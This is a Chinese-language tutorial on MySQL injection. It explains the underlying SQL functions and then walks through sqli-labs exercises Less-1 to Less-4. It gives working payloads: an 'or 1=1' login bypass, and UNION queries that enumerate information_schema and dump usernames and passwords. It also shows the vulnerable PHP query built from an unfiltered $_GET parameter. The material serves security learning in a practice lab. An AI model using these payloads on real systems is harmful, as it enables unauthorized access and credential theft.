第一章 基础知识
在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用
拼接
的方式形成一条完整的数据库语言,而危险的是,在拼接 sql 语句的 时候,我们可以 改变 sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql 注入
。本章将介绍一些 mysql 注入的一些基础知识, 可能知识有点多, 希望大家认真看一遍, 实操一遍.
学习篇
0x01 注入的分类
下面这个是阿德玛表哥的总结的,现在理解不了可以跳过
0x02 系统函数
这里介绍几个常用函数, 自己实操的话, 可以直接点击 Kitematic 的
EXEC
运行一个终端, 然后使用mysql -uroot
进入 mysql
-
version()
——MySQL 版本 -
user()
——数据库用户名 -
database()
——数据库名 -
@@datadir
——数据库路径 -
@@version_compile_os
——操作系统版本
0x03 字符串连接函数
在 select 数据时, 我们往往需要将数据进行连接后进行回显. 很多的时候想将多个数据或者多行数据进行输出的时候, 需要使用字符串连接函数. 而在 mysql 中,常见的字符串连接函函数有concat()
, group_concat()
, concat_ws()
.
举个例子, 不使用字符串连接函数时
但是这里存在的一个问题是, 当使用 union 联合注入时, 我们都知道, 联合注入要求前后两个选择的列数要相同, 这里 id
, username
是两个列, 当我们要一个列的时候, (即回显位只有一个)该怎么办? 这时候就需要用到字符串连接函数了
concat()
语法如下:
concat(str1,str2,...)
-- 没有分隔符地连接字符串
-- 返回结果为连接参数产生的字符串
-- 如有任何一个参数为 NULL, 则返回值为 NULL
-- 可以有一个或多个参数
一般的我们都要用一个字符 (这里是逗号) 将各个项隔开, 便于数据的查看. 见下图:
下图是参数中有 NULL
的情况
concat_ws()
语法如下:
concat_ws(separator,str1,str2,...)
-- 含有分隔符地连接字符串, 分隔符的位置会放在要连接的两个字符串之间
--Separator 为字符之间的分隔符, 可以是一个字符串, 也可以是其它参数
-- 如果分隔符为 NULL, 则结果为 NULL
-- 函数会忽略任何分隔符参数后的 NULL 值
下图是忽略 NULL
的情况
group_concat()
语法如下:
group_concat(str1,str2,...)
-- 连接一个组的所有字符串,并以 ` 逗号 ` 分隔每一条数据.
0x04 一般用于尝试的语句
ps:--+
可以用 #
替换,url 提交过程中 Url 编码后的 #
为%23
or 1=1--+
'or 1=1--+"or 1=1--+
)or 1=1--+
')or 1=1--+") or 1=1--+
"))or 1=1--+
一般的代码为:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id'LIMIT 0,1";
此处考虑两个点
- 一个是用一个单引号闭合前面的
'
- 另一个是处理后面的
'
, 一般采用两种思路, 闭合后面的引号或者注释掉,注释掉采用--+
或者#(%23)
0x05 union 操作符的介绍
UNION
操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION
语法
SELECT column_name(s) FROM table_name1 UNION
SELECT column_name(s) FROM table_name2
ps:默认地,UNION 操作符选取不同的值 。如果 允许重复的值,请使用 UNION ALL
。
SQL UNION ALL
语法
SELECT column_name(s) FROM table_name1 UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION
结果集中的列名总是等于 UNION
中第一个 SELECT
语句中的列名。
0x06 sql 中的逻辑运算
这里讨论一下逻辑运算的问题
有一个问题 elect * from users where id=1 and 1=1;
这条语句为什么能够选择出 id=1
的内容, and 1=1
到底起作用了没有? 这里就 要清楚 sql 语句执行顺序 了.
同时这个问题我们在使用 万能密码
的时候会用到
Select * from admin where username='admin' and password='admin'
我们可以用 'or 1=1#
作为密码输入. 原因是为什么?
这里涉及到一个逻辑运算, 当使用上述所谓的万能密码后, 构成的 sql 语句为:
Select * from admin where username='admin' and password=''or 1=1#'
Explain: 上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。原 因 是 在 where 子 句 后,我 们 可 以 看 到 三 个 条 件 语 句 username='admin' and password=''or 1=1
。三个条件用 and
和 or
进行连接。在 sql 中,我们 and
的运算优先级大于 or
的运算优先级。因此可以看到 第一个条件(用 a
表示)是真的,第二个条件(用b
表示)是假的,a and b = false
, 第一个条件和第二个条件执行 and 后是假,再与第三个条件 or 运算,因为第三个条件 1=1
是恒成立的,所以 结果自然就为真 了。因此上述的语句就是恒真了。
(1) select * from users where id=1 and 1=1;
(2) select * from users where id=1 && 1=1;
(3) select * from users where id=1 & 1 =1;
上述三者有什么区别?
- (1)和 (2) 是一样的,表达的意思是
id=1
条件和1=1
条件进行与运算
。 - (3)的意思是
id=1
条件与1
进行& 位操作
,id=1
被当作true
,与1
进行& 运算
结果还是 1,再进行= 操作
,1=1
, 还是 1(ps:&
的优先级大于=
)
Ps: 此处进行的
位运算
。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与
1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从 ascii 值反推回字符。(运用较少)
0x07 information.schema 数据库
-
现在做一些 mysql 的基本操作。启动 mysql,然后通过 查询检查下数据库:
mysql -uroot show databases;
-
选择数据库
use 数据库名;
-
查看数据库中有哪些表
show tables;
-
查看指定表的结构
desc 表名;
- 接下来讨论下 系统数据库,即
information_schema
。 -
首先说一下 mysql 的数据库
information_schema
,他是系统数据库
,安装完就有, 记录是当前数据库的数据库,表,列,用户权限 等信息,下面说一下常用的几个表-
SCHEMATA
表: 储存 mysql所有数据库的基本信息 ,包括数据库名,编码类型路径等,show databases
的结果取之此表。 -
TABLES
表: 储存 mysql 中的 表信息 ,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname
的结果取之此表 -
COLUMNS
表:提供了 表中的列信息 ,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename
的结果取之此表。
-
use information_schema;
-
让我们来查看下表
show tables;
-
让我们来枚举这张表
desc tables;
-
现在用下面的指令查询, 一般手工注入使用这个查询,我们可以下载到表名。
select table_name from information_schema.tables where table_schema = "security";
0x08 注入流程
- 我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是 先拿到
数据库名
,在获取到当前数据库名下的数据表
,再获取当前数据表下的列
,最后获取数据
。 -
sql 有一个系统数据库
information_schema
存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。猜数据库 select schema_name from information_schema.schemata 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’获取某列的内容 Select *** from ****
实战篇
Less-1
为了方便学习查看,可以在源码中的
$sql
下一句语句写以下 php 语句(就是输出拿到数据库查询的完整语句是怎么样的)
echo "你的 sql 语句是:".$sql."<br>";
- 在
http://localhost/sqli-labs/Less-1/?id=1
后面直接加上一个'
, 看下效果: -
从上述错误当中,我们可以看到提交到 sql 中的
'
在经过 sql 语句构造后形成'1''LIMIT 0,1
,多加了一个’
, 单引号都不匹配, 这样拿去查询肯定报错啊。这种方式就是 从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的'
去掉呢?limit
:第一个参数是结果集中的第几个,跟 C 语言的数组的索引 ( 从 0 开始 ) 一致,
第二个参数就是个数
如limit 1,2
: 返回第二行和第三行,因为 1 表示是第二行,2 表示行数个数是 2 -
先尝试
'or 1=1#
,#
会将其后面的'
注释掉出了点问题,原来浏览器没帮我把
#
url 编码, 可以将#
换成%23
, 也可换成--+
注释,+
浏览器会编码成空格
常用 url 编码: 空格是 %20,单引号是 %27,井号是 %23,双引号是 %22
-
尝试
'or 1=1--+
,--+
会将其后面的'
注释掉. 此时构造的 sql 语句就成了SELECT * FROM users WHERE id='1'or 1=1--+' LIMIT 0,1
- 可以看到正常返回数据。
-
接下里就是利用
order by
猜字段 。Order by
: 对前面的数据进行排序 , 由 phpMyadmin 可以知道, 这里有三列数据 ,我们就只能用order by 3
, 超过 3 就会报错。‘order by 4--+
的结果显示结果超出。其实 1 表示第一个栏位,2 表示第二栏位; 依此类推 -
最后从源代码中分析下为什么会造成注入?Sql 语句为
$sql="SELECT * FROM users WHERE id='$id'LIMIT 0,1"
;id 参数
在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交'or 1=1--+
,直接构造的 sql 语句就是SELECT * FROM users WHERE id=’1’or 1=1--‘LIMIT 0,1
这条语句因
or 1=1
所以为 永恒真。 -
此外,此处介绍
union 联合注入
,union 的作用是将两个 sql 语句进行联合。Union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择 列数要相同 才可以。Union all 与 union 的区别是增加了 去重 的功能。我们这里根据上述 background 的知识,进行information_schema
知识的应用。http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,2--+
出现下图情况, 说明两个 sql 语句列数不同
http://127.0.0.1/sqli-labs/Less-1/?id=-1’union select 1,2,3--+
-
当 id 的数据在数据库中不存在时,(此时我们可以 让
id=-1
, 也可以让id=1 and 1=2
, 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,就会将后面的语句的内容显示出来, 否则会显示存在 id 的内容)此处前台页面返回了我们构造的union
的数据。 - 下面顺便看看 id 存在时的情况, 所以要记住, 记得要将 id 设置成一个不存在的值
- 下面就真正查询数据库的各种信息了(可以看到 只有第 2 列和第 3 列的结果显示在网页上 ),所以我们就 只能用
2 和 3
这两个位置了 ,但是两个位置应该是不够用的,这时我们就用到数据库的连接函数
了,常用的就concat
和concat_ws
, 其中concat_ws
的第一个参数是连接字符串的分隔符
,还会用到group_concat
(可以把查询出来的多行连接起来) -
简单复习怎么使用
再次强调
concat_ws
的一个参数是连接字符串的分隔符,这里很明显可以看到,但一般第一个参数一般都不是这样传过去的,因为会被 html 编码,要使用 mysql 的char 函数
将十进制 ASCII 码转化成字符,如下面的(:
的十进制 ASCII 是58
),当然这里的分隔符也可以多个字符用的较多的就是这个啦,以后直接复制(
32
是空格
的十进制 ASCII
)concat_ws(char(32,58,32),user(),database(),version()) * user(): 返回当前数据库连接使用的用户 * database(): 返回当前数据库连接使用的数据库 * version(): 返回当前数据库的版本
-
爆数据库
http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
```
此时的 sql 语句为 `SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema
_name),3 from information_schema.schemata--+ LIMIT 0,1`
![](https://raw.githubusercontent.com/fengwenhua/ImageBed/master/0.z30b5fzkoib_1534071444.png)
-
暴
security
数据库的数据表http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
此时的 sql 语句为 `SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n
ame),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1` -
爆 users 表的列
http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
此时的 sql 语句为 `SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column
_name),3 from information_schema.columns where table_name=’users’–+ LIMIT 0,1` -
爆数据
最后那个 id= 2 可以改成 3,4,5… …
http://localhost/sqli-labs/Less-1/?id=-1'union select 1,username,password from users where id=2--+
此时的 sql 语句为 `SELECT * FROM users WHERE id=’-1’union select 1,username,password f
rom users where id=2–+ LIMIT 0,1`Less1-less4 都可以利用上述
union 操作
进行注入。下面就不进行赘述了。
Less-2
- 将
'
(单引号)添加到数字中。 - 我们又得到了一个 Mysql 返回的错误,提示我们语法错误。
-
现在执行的查询语句如下:
SELECT * FROM users WHERE id=1' LIMIT 0,1
所以这里的 奇数个单引号 破坏了查询,导致抛出错误。因此我们得出的结果是,查询代码使用了整数。
Select * from TABLE where id = (some integer value);
- 现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以 注释掉剩余的查询, 看是否正确响应
-
因此,源代码中可以分析到 SQL 语句为下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
-
可以成功注入的有:
or 1=1 or 1=1 --+
- 其余的 payload 与 less1 中一样,只需要将 less1 中的
‘
去掉即可。
Less-3
- 首先加个单引号
-
可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的 sql 语句的情况下怎么判断呢
首先看到 near 和 at 之间的字符串,直接将左右的单引号去掉,那么就得到
'1'') LIMIT 0,1
我们明显看到
1
的右边多了一个'
这是似成相识的感觉吧,后面还有个)
,那么对应于左边也应该有(
,这里它意味着,开发者使用的查询是SELECT * FROM users WHERE id=('our input here') LIMIT 0,1
-
所以我们再用这样的代码来进行注入:
?id=1')--+
这样一来,我们便可以正常显示用户名和密码了,同时后面查询也已经被注释掉了。
-
在源代码中的 SQL 查询语句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
-
可以成功注入的有:
') or'1'=('1 这里的意思是, 不使用注释符号 ') or 1=1--+ 这里使用了注释符号
- 其余的 paylodad 和 less- 1 中的一样, 只需要将 less- 1 中的
'
更换为')
即可
Less-4
- 我们使用
?id=1"
, 如下图 -
注入代码后,我们得到像这样的一个错误
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
-
这里它意味着,代码当中对 id 参数进行了
""
和()
的包装。所以我们再用这样的代码来进行注入:?id=1")--+
-
这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。在源代码中的 SQL 查询语句,31 行
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
-
可以成功注入的有:
") or"1"=("1 ") or 1=1--+
- 其余的 payload 与 less1 中一样,只需要将 less1 中的
'
更换为")